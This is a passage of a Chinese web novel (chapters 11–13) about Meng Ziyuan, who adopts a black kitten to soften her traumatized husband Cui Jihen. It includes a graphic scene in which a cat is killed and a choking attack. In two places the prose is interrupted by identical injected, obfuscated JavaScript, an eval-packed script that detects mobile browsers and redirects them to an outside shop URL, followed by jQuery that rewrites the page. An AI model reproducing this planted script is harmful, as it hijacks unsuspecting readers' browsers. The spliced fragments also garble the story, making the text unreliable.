她连要回女儿尸体的资格都没有。彼时的她是一个柔弱妇孺,唯一能做的就是苟且偷生,带着崔家最后一点血脉——她的儿子崔寂恨,离开这个虎视眈眈的京城,去一个安全的地方活下去。 只有活下去,才能翻案,才能报仇雪恨。 崔老夫人不敢激怒面前的太监,她拉了拉小少年,“暮春,我们走吧。” “母亲,”他用那双黑白分明的瞳孔盯着她,再一次重复道,“妹妹还在里面。” 而后看向那位太监,“我要把妹妹带走。” 他说的是“要”,不惜一切代价地“要”,而不是“想要”。 那太监似是与崔家有过结怨,冷哼一声,“好啊。” 他随意摆了摆手,后面就有两个侍卫进了烟雾弥漫的崔府,过了会儿,两人合力抬出一个小小的尸体出来。 尸体一片焦黑,宛如煤炭,只有小脚腕上佩戴的银铃铛“叮铃叮铃”地响着,昭示着,这就是曾经被家人捧在掌心里疼宠的崔家幼女。 崔老夫人险些晕死过去,她浑身发抖地冲过去,想要抱抱女儿,却被拦住了。那太监又用尖细的嗓音笑了笑,“急什么,别忘了,圣旨里陛下只说让你们二人离去,可没说带走尸身。” 崔老夫人跪下来乞求,太监充耳不闻,只看着崔寂恨,戏谑道:“看你这幅腰背挺直、傲骨凌凌的模样,倒真有几分年轻时崔兰修的样子,不愧是他悉心教育的嫡长子啊——”说着他话锋一转,“方才在里面看见了一只黑猫,脖子上还系着铃铛,也是你崔府养的吧?” 话音将落,一个侍卫就捉了那只黑猫过来。 太监拎起那只猫打量一番,就在所有人诧异他要做什么时,突然“咔嚓”一声,鲜血喷涌,太监竟直接折断黑猫的脖子,骨头刺破皮肉,毛发被鲜血染红,然后把手伸到崔寂恨面前,“看你嘴皮干的,喝点,省得一会儿与你母亲上路口渴。” 竟是要逼崔寂恨饮下黑猫的生血。 跪在地上的小小少年没有动静,那太监冷了脸,“若不从,就将你幼妹的尸体丢入乱葬岗,野鹰叼、狼狗咬,死无全尸。” 年少的崔寂恨麻木不仁地盯着幼妹焦黑的尸体,良久,跪在泥泞地板上的双膝动了动,一步一步膝行到那人的腿前,接住黑猫轻如鸿毛的尸体,张开嘴,咬住它凸出来的骨头,然后一口一口吞下它令人作呕的腥血。 喉头滚动,崔寂恨跪着饮血,太监笑了笑,“只有未开智的畜生才会饮动物的血,崔寂恨,堂堂崔寂嫡长子,你也是畜生吗?” 崔老夫人泣不成声,想要过去阻止,却被摁在地上动弹不得,眼睁睁地看着小小少年满嘴鲜血,喉头“咕咚咕咚”地饮血,鲜红的血珠顺着嘴角下落,一滴一滴地砸在地板上。 也好像砸在了孟訾鸢的心口,烫出几个血窟窿。 她艰难地呼吸着,想要从恐怖骇人的梦境中醒来,浑身却僵住无法动弹,很快,胸腔的氧气消耗殆尽,她再一次陷入窒息中。 “别喝了,别喝了……”孟訾鸢梦呓着,鬓角渗出细细密密的汗珠,她一个屏气凝神,猛地从梦中抽离出来,瞪大的眼球布满血丝。 看着熟悉的泥巴土屋,孟訾鸢心有余悸地喘着粗气。 方才她好像梦见了崔寂恨的身世,应当就是话本子里提过的“他年少吃尽苦头,受尽折辱”。 原来是这般的“苦”。 转头望向窗外,天边已经泛起鱼肚白,孟訾鸢彻底没了睡意,一面睁眼看床顶,一面仔细回想话本子里的内容。崔寂恨走上仕途之路后更冷血无情,而他之所以会在第一面就对郡主产生特别的情绪,正是郡主当时在救一只断了腿的黑猫。 黑猫不仅是猫,还是崔寂恨的心病。 郡主救了它,也是救了年少受尽折辱的崔寂恨。 她就像阴暗角落里突然照进去的一束光,将崔寂恨冰封蒙尘多年的心房再次撬开,让他对她产生好感。 孟訾鸢阖眼又睁开,那如果在崔寂恨面前救黑猫的人是她呢? 11. 梦魇 天一亮,孟訾鸢就找去了娄府。 看门的小厮似乎被提前交代过,询问两句就将孟訾鸢请了进去,一路引进女眷居住的后宅,昨日见过的娄小姐就在书房等她。 孟訾鸢屈膝行礼,“见过娄小姐。” 娄知微每日必于书房焚香静坐,临摹字帖,今日见了孟訾鸢才放下纸笔,绕过书案将她扶起,“姑娘多礼了,快请坐。” 走到交椅边坐下,娄知微问:“姑娘今日来找我可是伤口不适?” 镇上常传娄知县的千金才思敏捷,琴棋书画样样精通,居于内宅也洞察力敏锐,昨日不过短短几句话的工夫,就能通过孟訾鸢的衣着打扮看出她家境贫寒,怕是回家后无钱看病,这才交代她有事来娄府找她。今天见了孟訾鸢,怕姑娘家面薄不好意思说,她便主动开口提,这番善意的行为让孟訾鸢有些羞愧。 人家处处替她考虑,她却撒谎利用。 “娄小姐误会了,猫抓得不深,睡一晚上就结痂了,”孟訾鸢欲言又止,“我此番来找小姐,是为了另一个不情之请。” “姑娘但说无妨。” “昨个儿听说娄小姐养的黑猫下了一窝崽,不瞒您,我家夫君他最喜欢小猫了,我想捉一只回去养着,待我夫君下回从书苑休沐归家,给他个惊喜。”孟訾鸢为自己伸手讨要东西的行为感到羞耻,垂着脑袋,小脸绯红,“当然了,娄小姐若是不愿割爱也、也没关系的。” 说完久久未听到回复。 就在孟訾鸢悄悄蹙眉以为计划失败时,娄知微终于回过神来,语气震惊,“你成亲了?” 孟訾鸢呆呆地点了下头,“是啊。” “姑娘生得桃李之姿,我还以为是碧玉年华,待嫁闺中,”娄知微脸红了红,“原来已有如意夫君了。” 孟訾鸢记得昨日听到的关于这位娄小姐与陆公子的一些事情,怎奈落花有情流水无意。她状似不经意地问:“娄小姐秀外慧中,那您可有中意的郎君了?” 娄小姐低低道:“尚未定亲。” 孟訾鸢与她亲近,似闺中密友耳语,“我已嫁做人妇三年有余,男人心里那点小九九我最是清楚,日后娄小姐有不懂的尽可来找我,我给你出主意。” 娄小姐欲摇手拒绝,想起什么,小脸热了热,矜持道:“谢过姑娘了。我名知微,见微知著的知微,还不知姑娘怎么称呼?” “孟訾鸢。” 鸢,风筝,一生都被操控,不被操控时风筝线也断了,她活不了。这就是话本子的造物者给她取得名字,正好与她身不由己的命运相得益彰。 “碧落秋方静,腾空力尚微,清风如可托,终共白云飞*,”娄知微念念有词,扬起唇角,“訾鸢如高飞鸿鹄之志,好名字,以后我们就是朋友了,得闲的时候我去找你玩儿。” 孟訾鸢颤了颤眼睫,心口莫名一热,“好。” 娄知微交了除闺阁小姐外的第一个朋友,很是高兴,带着孟訾鸢去了小猫崽住的一侧厢房,“小猫崽儿都在这,活蹦乱跳的,鸢儿看看喜欢哪一只?” 一眼扫过去,有黑有白,孟訾鸢挑了一只与梦境中最相似的,“这只。” “要不要给它取个名儿?”娄知微提议。 “就叫它喜喜吧。” 半生寂恨的反义,一生欢喜。 - 喜喜是只顽劣的猫。 娄知微曾在她离开前提过一嘴,说喜喜是最早出生的,也是吃奶吃得最大最圆最有力气的,那会儿孟訾鸢没放在心上,如今算是明白她为何要提醒这么一句了。 把喜喜接回家的这些时日,它上蹿下跳,先是撕烂了床褥和枕头,后又打翻了灶房的几个碗碟,心疼得孟訾鸢捂紧了钱袋子。 这日,孟訾鸢在给院子里的青菜浇水,没浇两瓢就被骚扰得抓狂,一把将跳到她肩膀上用爪子扯她头花的黑猫薅下来,圈在掌心,点着它粉粉的小鼻头教训,“调皮!捣蛋!信不信我打你屁股?” 小黑猫冲她哈气,很是不服。 孟訾鸢气得揪它耳朵,“服不服?” 小黑猫狠狠地“喵呜”一声,在她手里拼命扭动身子想要逃走,孟訾鸢拿它没辙,只能松开手,小黑猫“咻”的一下从掌心溜出去,跑进屋子里。 明日就是崔寂恨休沐回家的时间,怕它又在屋里惹祸,孟訾鸢不得不放下水瓢,将小猫提溜出来。看它一生精力无处使,想着有些日子没去找娄知微了,浇完水就把小黑猫往怀里揣,关上篱笆院出了门,“走,喜喜,带你去见你猫妈妈。” 孟訾鸢前脚没走多久,篱笆院门后脚就被人推开。 回来的人是崔寂恨。 兰芷书苑今日翻新修葺藏书阁,噪声杂乱,管制书苑日常事务的徐堂长决定提前一日休沐,之后学生再提前一日回去。 崔寂恨本该上午就回了村,奈何陆晏奚拉着他不撒手,非要他去陆府坐坐。到了陆府后,崔寂恨才知道陆晏奚是把他当作挡箭牌,有他在,陆老爷就不好当着外人的面,逼着陆晏奚去娄家提亲。 陆家讲究礼遇,崔寂恨既是客人又是故去友人唯一的血脉,陆老爷和陆夫人很是重视,寒暄一番就命下人备了一桌菜肴留他用午膳。 午膳里有一道荤菜,里面放着补气血的猪血,席中陆夫人用慈爱的目光看着崔寂恨,怜他无父无母,读书辛苦,特意夹了几筷子猪血给他补身子,崔寂恨谢过后吃下,那一瞬,胃里翻江倒海。之后再吃任何东西,都仿佛带着血腥气。 水饱饭足后,崔寂恨回村。 反胃的恶心感持续了一路,崔寂恨脸色发白,强撑着回到家中,在院子里舀了一瓢清水冲洗口腔。不够,还不够,血液早已顺着喉管走遍全身,他是从骨子里往外渗散发令人作呕的血腥气,崔寂恨死气沉沉的目光落在院中的一桶水上,走过去,直接抄起来往身上浇,顷刻间浑身湿透。 秋季的井水冰冷刺骨,浇到身上直冒寒气,崔寂恨却面无表情,一桶接着一桶,妄图用寒气盖过身上不存在的血腥气。 不知冲了几桶井水,院子里的板砖被打湿大块,走路都泥泞打滑,崔寂恨丢下水桶,压制着粗重呼吸回了房。身上湿透的衣裳被他扯下来丢在一边,取了身干净里衫套在身上,一番动作下来已是耗费余下的所有精力,突然胸膛涌上一阵剧烈的痒意,他捂住胸口死命咳嗽,喉头涌上一阵铁锈味,然后顺着嘴角缓缓溢出。 崔寂恨抬起手背擦了下,低睫看去,是他生生咳出来的血。 一滴接着一滴,止都止不住。 像极了他当年一口又一口饮下的血。 身体里好像藏着一只被饿狠了的凶兽,正叫嚣嘶吼着要破体而出,蛊惑着催促着崔寂恨去做些什么,杀人也好、放火也罢,总之要尝到看着他人坠落地狱苦苦挣扎不得救的快感……崔寂恨痛苦地闭上眼,双手摁住胸膛,拼命压制体内快要冲出来的暴虐欲。 他艰难地喘着气,趔趄地走到榻边,躺了上去。 - 孟訾鸢和娄知微逗了一下午的猫。 小乖十日没见自己的猫崽子,甚是想念,在喜喜钻回它怀里的刹那就团团围住,敞开肚皮给它喂奶,喜喜吃得起劲,小嘴巴一吸一吮的,粉粉的鼻头边全是奶渍泡泡。猫妈妈给崽子喂奶的一幕,慈爱温馨,却也有说不上来的怪异,给两个还未孕育孩子的姑娘看红了脸。 娄知微随口问:“鸢儿,你与你夫君成亲三年,为何还未有子嗣?” 三年来行房的次数十个手指头数得清,而且崔寂恨回回都弄在外头,一滴种都不在留在她肚子里,怎么可能会有孩子。但这实话孟訾鸢是不可能说的,她得在娄知微面前立住“善懂男人”的形象,“夫君怜我年纪尚青,又言他课业繁忙,若是我有孕他却正好外出参加科举,家中留我独自一人无人照顾,他放心不下,于是就往后推迟了。” “原是这般,你夫君真疼你。”娄知微羡慕的眼神之下,闪过一抹淡淡的失落。 孟訾鸢眼尖地发现:“有心事?” 娄知微叹了口气,“与你说了也无妨,我母亲与陆夫人过去是闺中好友,娘怀我和陆夫人怀陆公子是差不多的时候,她们二人提过一嘴,说若是一男一女将来就结亲事。后来陆老爷要赴京做官,陆家举家都前往京城,而我娘亲也在那不久病逝,两家往来渐渐少了,直到十余年前,陆老爷辞官回了落霞镇,两家人重新走动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498138|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,这才重提旧日的娃娃亲一说。可陆公子不曾有意于我,去岁他加冠,按理就可以来我家提亲了,可他一直拖着,前不久我还听说他不愿来我家提亲……” “知微喜欢他吗?” 娄知微眼神躲闪,闺中礼仪叫她不好意思给出明确答复,手指绞了绞帕子,这种模样她就是不说旁人也知道答案了。 何况孟訾鸢昨日还偷听到了。 孟訾鸢摸着小猫,思考着该不该和娄知微说真话。 话本子里的陆晏奚,就是到大结局都没有写明是否成家、是否有真正喜欢的人,活脱脱一个风流纨绔,娄知微痴心于他,多半是没有结果的。但真话往往比假话难听,何况孟訾鸢前脚才在娄知微面前“夸下海口”,说自己懂男人,能帮她。 利益至上,孟訾鸢自私道:“知微冰雪聪明,哪个男子不喜欢,陆公子只是还未发现你的好,等他了解了一定会喜欢上你的。” 假话果然比真话好听,娄知微肉眼可见地开心了些,“承鸢儿吉言。” 聊了许久,娄知微本欲留孟訾鸢再坐一会儿,谁知丫鬟绿衣忽然进来告知说兰芷书苑提前一日休沐,陆晏奚已经回了陆府。闻言,孟訾鸢立即起身要走,“陆公子回来了,我夫君应当也到家了。” 娄知微道:“我差人送你。” 娄府派了一辆马车将孟訾鸢送回左家村,平时两个时辰的脚程,现今只用了半个时辰,孟訾鸢谢过娄府的家仆,抱着猫往崔家赶。 天色渐晚,村里好几户人家都生火煮饭,炊烟袅袅。 唯独崔家的屋子一片漆黑。 孟訾鸢心下怪异,推开院子进去,喊了几声崔寂恨都无人应,一时间有些怀疑他是否回了家。 “夫君,夫君你在家吗?”孟訾鸢抱着猫走到院内,一不小心脚打滑险些摔倒,她连忙扶住旁边的柱子站稳,低下头,趁着月色看见院内的地板都湿了,这下确定崔寂恨应该回来了,就是不知道他洗了些什么搞成这样。 “湿成这样,”她埋怨地小声嘟囔,“都害我差点摔了。” 孟訾鸢没好气地往里走,进了屋,还是黑漆漆的,她放下怀里的小黑猫,空出手去点上两根蜡烛,屋内终于亮堂了一些。也就是借着这些烛火,她才看见躺在床榻上的男人。 合着叫了他那么多声不答应,竟是在这里睡觉? 孟訾鸢走过去,坐在床榻边,推了推闭着眼睛不知真睡假睡的男人,“醒醒,我回来了,崔寂恨。” 男人沉了沉眉骨,气息变得急促,似是要醒过来。 可等了一会儿,还是五官紧蹙,没有丝毫要醒来的迹象,且鬓角处开始渗出一颗颗汗珠,嘴唇也开始张张合合。没人比孟訾鸢更懂得梦魇,她神色一凛,明白崔寂恨是困在梦境中无法脱身了。 “崔寂恨,醒过来,别做梦了!”孟訾鸢脸色凝重地又推了推他的手臂,“那些都是假的,你快睁眼,睁眼就看不见了……” 她一句句话音闯进崔寂恨的耳朵里。 梦中正被逼饮血的年幼-男童仿佛也听见了,喝血的嘴唇停下,冷冰冰的眼神起了一丝波澜。他抬起头,四处寻找着那道声音,可怎么也找不到,面前只有那个神色鄙夷蔑视的宫廷太监,在他身后躺着幼妹焦黑的尸体,崔府里还有几百个未及时逃离而被烧死的家仆。 漫天都充斥着人肉被烤焦的味道; 还有新鲜血液从皮肉里涌出来的血腥气; 以及太监用脚踩在他脊梁骨上,尖细的嗓音笑得猖狂:“先帝故去,新帝登基,崔兰修这个先帝心腹当然就没用了,崔家覆灭已是定数,永远都翻不了身。至于堂堂崔府嫡长子,往后都是苟且偷生,你与你母亲永远都会被踩在泥里践踏,活得像两个猪狗不如的废物。” 恨意如嗜血的藤蔓疯涨,幼年的崔寂恨红着眼,奋力站起来反抗。 与此同时,床榻上陷入梦魇的男人蓦地睁眼,目光阴狠肆虐。 孟訾鸢见他醒了,脸色一喜,正要问他做了什么梦,男人忽地一把掐住她的脖子,“你待在我身边,到底有什么不可告人的目的?” “不说清楚,”他收紧掌心,冷冷道,“我杀了你。” 12. 攻心20% 孟訾鸢毫无征兆地被掐住脖子,面色涨得通红,手掌拼命拍打着崔寂恨的胳膊,“什么目的,我听不懂你在说什么,夫君,我是鸢儿啊……”掐在脖子上的铁掌不停收紧,她呼吸越来越困难,额头青筋绷起,眼球也因为受到压迫而开始充血发红,她快要窒息了,“快松手……” 就在孟訾鸢快要窒息时,一道黑影突然蹿出,察觉到主人有危险的喜喜敏捷地跳到她的肩膀,小小的身子最大限度地弓起,作出伏击姿态,张开嘴巴露出两颗刚冒出头的尖牙,在烛光下渗出寒气,下一瞬对着崔寂恨的手臂狠狠咬了下去。 崔寂恨看见咬他的小黑猫,眸底闪过一丝异样的情绪。他不知不觉松开手,失去桎梏的孟訾鸢倒在了榻边。 方才崔寂恨可是下了死手,孟訾鸢觉得颈骨好似断裂了一遍,喉腔被过度挤压而火辣辣得疼,开口说话都艰难,“夫君,你到底怎么了,是不是梦魇吓到了?” “孟訾鸢。”男人冷冷地将她打断。 不愿再陪她演夫妻情深的戏码了。 卸去伪装的男人阴郁冷漠,崔寂恨捅破两人之间的那层窗户纸,“我不管你是出于什么目的才会改变性格、委曲求全的留在我身边,我没心情再与你演戏。你方才也亲眼看见了,我不似常人,发疯不受控的时候身边的人随时都会失去性命。” “我现在给你一个离开的机会。”他背对着她说。 这个角度孟訾鸢窥见的是男人半明半暗的侧脸,明亮处俊如神祇,阴暗处怖如魔鬼,她怔怔地出声,“什么?” “离开崔家,滚得远远的,不要让我再看见你,”崔寂恨蜷紧垂放在膝盖的手,“否则我会杀了你。” 终于露出真面目了。 孟訾鸢默了默,道:“我不走。” “你若是要杀我,现在就杀吧,我绝无怨言。”她说完便闭上了眼睛,脖颈微抬,露出最脆弱也最致命的地方,将自己的性命捧给他抉择。 久久置身于黑暗中的男人动了动,回过头,那双洞若观火的眼睛直勾勾地盯着孟訾鸢,审视着她话里的真假。忽然他膝盖一重,一团毛茸茸软乎乎的东西窝了上来,低头看去,是一只陌生又熟悉的小黑猫,刚才还冲他龇牙咧嘴,现在瞧他没有危险后,开始窝在他身上取暖了。 他眼神暗了暗,蓦地攥拳,“滚下去。” 可惜小黑猫听不懂人话,扭了扭身子,在他腿上换个姿势继续睡。 崔寂恨脸色变得极差,忍耐着没有将小东西扫下腿,“哪来的猫?” “上回去书苑给你送饭时意外认识了娄千金,她养的猫下了一窝猫崽子,记得婆母在世时跟我说过,你以前也有过一只小黑猫,于是我就捉了一只回来,想讨好你……”孟訾鸢忽然觉得很累,颓废失落地靠在床头,“我知道你厌恶我,甚至恨我,因为从前我做的那些混账事,乃至于我改了许多你都是觉得我别有目的。” “是,我承认,我的确别有目的,”她鼻尖一酸,说出憋了许久的心里话,“崔寂恨,我从前做了许多对不起你的事,我怕你有朝一日飞黄腾达后杀了我泄愤。就像我那日一时糊涂给你下毒药,你知道后在夜里趁我睡着要掐死我一样。” 孟訾鸢眼角发红,“这就是我的目的。” 她只是不想死而已。 “那你为什么不走?”崔寂恨缓缓道,“我说过了,你从现在开始在我面前消失,过去的事我既往不咎。” “因为离开你我就得死。”孟訾鸢轻声道。 迎着崔寂恨的目光,她真诚的双眼好似没有半分隐瞒了,“如今这个世道,一个手无缚鸡之力又没有钱财的妇人如何苟活,要么就是被人卖进窑子,要么就是活生生饿死。你也莫说我嫁给李戈的话,同一个村子里,被你休了转头嫁给李戈,别人的唾沫星子能把我淹死,届时你觉得李戈会真心对我吗?怕是同样弃如敝履罢了,女子的处境自古以来就是要比男子艰难苛刻许多。” 崔寂恨不带情绪地盯着她,良久道:“你可以留下来。” 孟訾鸢错愕地望向他,眼底溢出丝丝晶莹,她强忍着不落下,崔寂恨对她的眼泪没有任何触动,转而看向自己腿上的小黑猫,“待我中举步入朝堂为官,我会予你一封和离书,让你带着足够生活的金银细软和宅地离开,过自己想要的生活。在此之前,你都得老老实实的做崔夫人,若让我发现你有任何异动——” 他毫不犹豫地说:“我就杀了你。” 孟訾鸢慢慢地点了点头,“我答应你,但还有另一件事。” “说。”褪去伪装后他格外没耐心。 “喜喜可以留下吗?”她小声地抽了抽鼻子,“你腿上的那只猫。” 崔寂恨唇线抿直,“养不死就留着。” “谢谢。”她说话声小小的,生怕得罪了他。 崔寂恨一手提溜住小猫的脖颈,嫌恶地丢到孟訾鸢身上,掸了掸衣服出去了。门“嘎吱”一声关紧,侵略危险的气息终于消散,孟訾鸢疲倦地叹了口气,缓缓阖上眼。 片刻后再次睁开,眼中没有半点刚刚的惧意。 真话难说,假话难圆,只有真假参半的话最令人相信。崔寂恨,我这回应当撬开你的心房了吧。 孟訾鸢唇角勾起一点微末弧度,如释重负地抱着小猫躺到榻上。 - 到了半夜,孟訾鸢早早地沐浴完躺到榻上,为了讨好崔寂恨,她把自己的身体挪到最里面,给他腾出一大块空间。只是左等右等,也没见男人过来,实在等不下去了,起身下床,往外瞥了一眼。 这一眼,才发现崔寂恨早就睡下了,不过是睡在外间的竹床上。上面只铺着一层薄薄的旧褥子,秋夜寒凉,常人睡在上面冻得打哆嗦,他却一丝反应都没。 看来是觉得捅破了窗户纸,不用再演戏,所幸直接分床睡了。 这对孟訾鸢来说可不是一个好消息,崔寂恨跟她离得越远,她越找不到机会攻心感化他。 入秋后总是起风,今夜也不例外,外面“乌拉乌拉”得吹。崔家的屋子早些年是用泥巴土砖砌起来的,砖缝之间的空隙漏风,外面冷,里面也没暖和到哪儿去。 孟訾鸢揪了揪手指,走了出去,“夜里凉,你回里屋睡吧,床榻那么大够两个人睡的。” 竹床上的男人双手交叠在胸前,气息均匀,不知是真睡着了还是懒得搭理她。 孟訾鸢私心觉得是后者,她小心翼翼地蹲下来,伸出一根手指头轻轻地戳了下崔寂恨的胳膊,“你睡着了吗?” 男人迅速将胳膊往里挪了挪,避开她的触碰,当真是懒得搭理她。孟訾鸢有些生气,心里骂他不知好歹,面儿上还是好声好气,“你读书辛苦,若是病了岂不耽误课业,若是你不想碰到我,那换我来睡竹床,你回里屋睡榻,好不好?” “闭嘴。”他道。 “……” 孟訾鸢只好作罢,起身回了里屋。 一阵窸窸窣窣的动静过后,彻底安静下来,像是睡下了。 屋内只有呼啸的风声,窗户纸被风拍打得摇摇晃晃,崔寂恨在深夜的寒气和刺骨的冷风中睡去,意识渐渐模糊,防备弱了一瞬。就在刹那间,一道陌生的气息靠近,像是一张密不透风的大网从天而降,要将他牢牢困在囚笼里,永世不得超生。 在身上感应到触感时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498139|202606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔寂恨倏地睁开眼,手比脑子更快地做出反应,一把攥住孟訾鸢的手腕,“做什么?” 孟訾鸢吃疼得皱眉,细皮嫩肉的手腕被捏地通红,“我只是怕你夜里着凉来给你盖被子,没有别的企图。” 崔寂恨目光落在她放在一旁的被褥上,松了她的手。 “不用,”他冷淡地拒绝,背过身去,“离我远些。” 摘掉面具的崔寂恨就是这样疑心重重,喜怒无常,拒人于千里之外。 孟訾鸢忽然有点怀念之前的崔寂恨了,至少不会这么好心当作驴肝肺,动不动就掐脖掐手的,她瘪了瘪嘴,把被褥搁在旁边,挫败地回了里屋睡觉。 原以为崔寂恨是忌惮她另有企图,等她离去后,就会悄悄盖上那层被褥。可没想到第二天孟訾鸢起床一看,被褥还在原地,连褶皱都跟昨晚她放在那儿的时候一模一样。 她失落地叹气,看来攻心感化之路还很漫长啊。 - 孟訾鸢在屋子里发愁该如何感化崔寂恨,屋外突然传来“喵呜”一声,是喜喜的叫声。 孟訾鸢快速系好衣裙,蹑手蹑脚地走到门边,拉开一条缝隙往外瞧。崔寂恨换了一身干净的素衣长袍,背上背着竹篓,里面装了些枯树枝,应当是刚从后山捡柴回来。 喜喜不知道从哪儿纵身一跃,跳进了崔寂恨背上的竹篓里,在里面翻来翻去,没找到新奇的玩意儿后,又将粉粉的小肉垫踩在崔寂恨的胳膊上,一路爬到他的肩膀,抬起一只邪恶的小爪子,去扯他垂下来的发带。 孟訾鸢心惊肉跳,崔寂恨不是她,没有温柔耐心的好性格,这要是惹了他,才出生一个月的喜喜肯定会被他挥到地上摔个半死。孟訾鸢欲出去阻止,可想到自己收养喜喜的目的,又蓦地顿住脚步。 不能出去。 她要的就是观察崔寂恨对小黑猫的态度,以此来作出下一步计划。 可是喜喜会被摔死的…… 孟訾鸢蜷起掌心,没有任何时候比这一刻清晰地认知到,她其实比崔寂恨好不到哪儿去,也是一个自私自利、为达目的不择手段的人。 小黑猫不知有人正在担心它的安危,还在顽劣不堪地扯崔寂恨的发带,将男人脑后的乌黑发丝扯乱了些,崔寂恨瞥它一眼,“滚下去。” “喵呜。”不。 “最后说一遍,滚下去。”他脸色冷下来。 “喵呜。”就、不。 崔寂恨薄唇绷紧成一条直线,骨子里的暴虐隐约升起,手指像捏死一只蚂蚁般提溜住小黑猫,要将它甩下肩膀。眼前却忽然闪过一个两岁的幼童,小丫头生得粉雕玉琢,跟年少的崔寂恨眉眼有七分相似,但她长得更为可爱,笑起来露出两颗兔牙,捧着小猫甜甜地喊,“哥哥,我捡到一只小猫,送给你养好不好?” 体内的暴虐悄然瓦解,继而消失得无影无踪。 崔寂恨手在半空中顿住的工夫,门内偷窥的孟訾鸢心也高高悬起,好在男人又把手收了回来。他一手捏着猫身子,朝院内的木桌走近,将喜喜放了上去,推了推它,“走开。” 喜喜歪着脑袋蹭他手背,“喵呜”个不停,在向他撒娇。 黏人得像个小丫头。 崔寂恨平静的眼眸没有任何变化,手上的动作却轻了些。 瞧见这一幕的孟訾鸢暗暗惊喜,话本子里的内容是对的,崔寂恨真的对小黑猫有着不一样的情感。郡主因为收养小黑猫被崔寂恨注意、进而产生好感,那换作她,是不是也可以? 孟訾鸢不会跟郡主抢崔寂恨。 也不求崔寂恨反过来爱她,只需要他的一点点好感就行,保证他日后不杀她就行。 13. 攻心40% 孟訾鸢装作初醒不久,姿态倦懒地打开门,“你回来了?” 崔寂恨收回逗猫的手,没回答她,径直背着竹篓进了灶房。 将竹篓的枯树枝倒进柴堆里,再把清洗好的青菜和大米搁在灶台上,崔寂恨走回灶笼,绞起一小捆枯草引火,然后进灶笼里热锅,全程将孟訾鸢视作无物,自顾自地生火煮饭。 见状,孟訾鸢也不打扰他,在一旁默默打下手。 他要油,她就递;他要葱,她就切;要温水闷煮,她先一步用瓢舀好送到他手边,再低眉顺眼地解释,“你留我在崔家继续过日子,我吃你的穿你的用你的,却没有什么能报答你的,只能在小事上帮帮忙。” “不必,”他疏远地赶人,“出去。” “为什么?”孟訾鸢咬唇,“这些事我还是能做好的,如果你信得过我,以后生火煮饭的事都我来做。” 崔寂恨将煮好的青菜盛进碟里,偏头觑她,似笑非笑:“信不过,怕你偷偷摸摸往里下毒。” “……” 话都说到这份儿上,孟訾鸢不想讨他的嫌,从院子里端来一个小马扎到灶房门口,刚坐下,喜喜从犄角旮旯里蹿出来,跳到她腿上趴着。孟訾鸢拍了拍它身上沾到灰,轻声细语的像是跟自己的孩子说话,“又去哪里调皮了,脏兮兮的,回头又要给你洗澡了。” 喜喜懒懒地掀开眼皮看她,接着又闭上睡觉。 人不理她就算了,猫也不理她,孟訾鸢哼一声,揪住喜喜的耳朵,在它耳边威胁地说,“我才是你的娘亲,你要最亲近我的,听见没有?不听话以后就不给你小鱼干吃。” 喜喜冲她哈气,表示抗议。 孟訾鸢手动地给它闭嘴,“抗议无效。” 喜喜瞬间耷拉着脑袋,伸着小肉垫在她掌心踩了踩,孟訾鸢得逞地笑了一下,看向崔寂恨,“除非你向你爹求情。” 在灶笼前塞火把的崔寂恨顿了顿,朝她投来一记警告的眼神。 孟訾鸢全当没看见,继续撺掇喜喜,“去找你爹求情,就找小鱼干给你吃。” 小黑猫半推半就地立起四肢,抖了抖身上的绒毛,“咻”地一下跳到地上,翘着尾巴走到崔寂恨身上,软软地“喵呜”一声,像是在喊他“爹”。 崔寂恨无情地收回目光,充耳不闻,一个劲儿地往灶笼塞柴火,火越烧越旺,锅里的水蒸发得见底,整个灶房里充满呛人的烟雾,孟訾鸢被呛得连连咳嗽,捂着鼻子往外跑,咬牙切齿,“房顶都要烧穿了,崔暮春,你给我停下来!” 崔寂恨唇角勾起一丝报复的笑。 - 正值秋收时节,农活多,用完早膳,崔寂恨就背着锄具去了地里。 左家村的大部分汉子都在地里干活,看见崔寂恨休沐回来了,一个个边挥舞着臂膀干活,一边笑着招呼,“崔相公回来了,也来地里收成?” 崔寂恨微微颔首,走向自家的一亩三分地。 崔老夫人在世时靠手艺过活,崔寂恨长大成人后靠写字为生,是以崔家的田地不多,只有一亩有余,主要是用来种吃饭的稻谷,余下的边边角角用来种红薯和芝麻一类。这个时节不少人家的红薯才冒出尖尖儿,崔家的红薯播得早,拨开根茎和叶子已经能看见颗颗饱满壮实的红薯了。 崔寂恨放下背上的竹篓,用趁手的小锄头耐心地刨开土,将里面成熟的红薯挖出来,一个个装进篓子里。 路过的老葛惊喜道:“读书人就是厉害,种起庄稼来都比我们这些大字不识的汉子好,崔相公,你家的红薯是红心还是白心的?” “都有。” “我家红心的不甜,白心的又粉腻腻的,你家咋样?” “尚可,”崔寂恨挑出一红一白递过去,“葛叔伯若不嫌弃可拿回去试试。” 老葛就等着这句话,笑得嘴巴咧到耳后根。怪不得他家月茹丫头给她做再好的媒都看不上,心就栓在这位崔相公一人身上,确实是一个出色的人才,只可惜已经成亲了,还娶得是个又懒又馋不守妇道的狐狸精。 忙到晌午时分,各家汉子的媳妇或孩子来地里送饭。 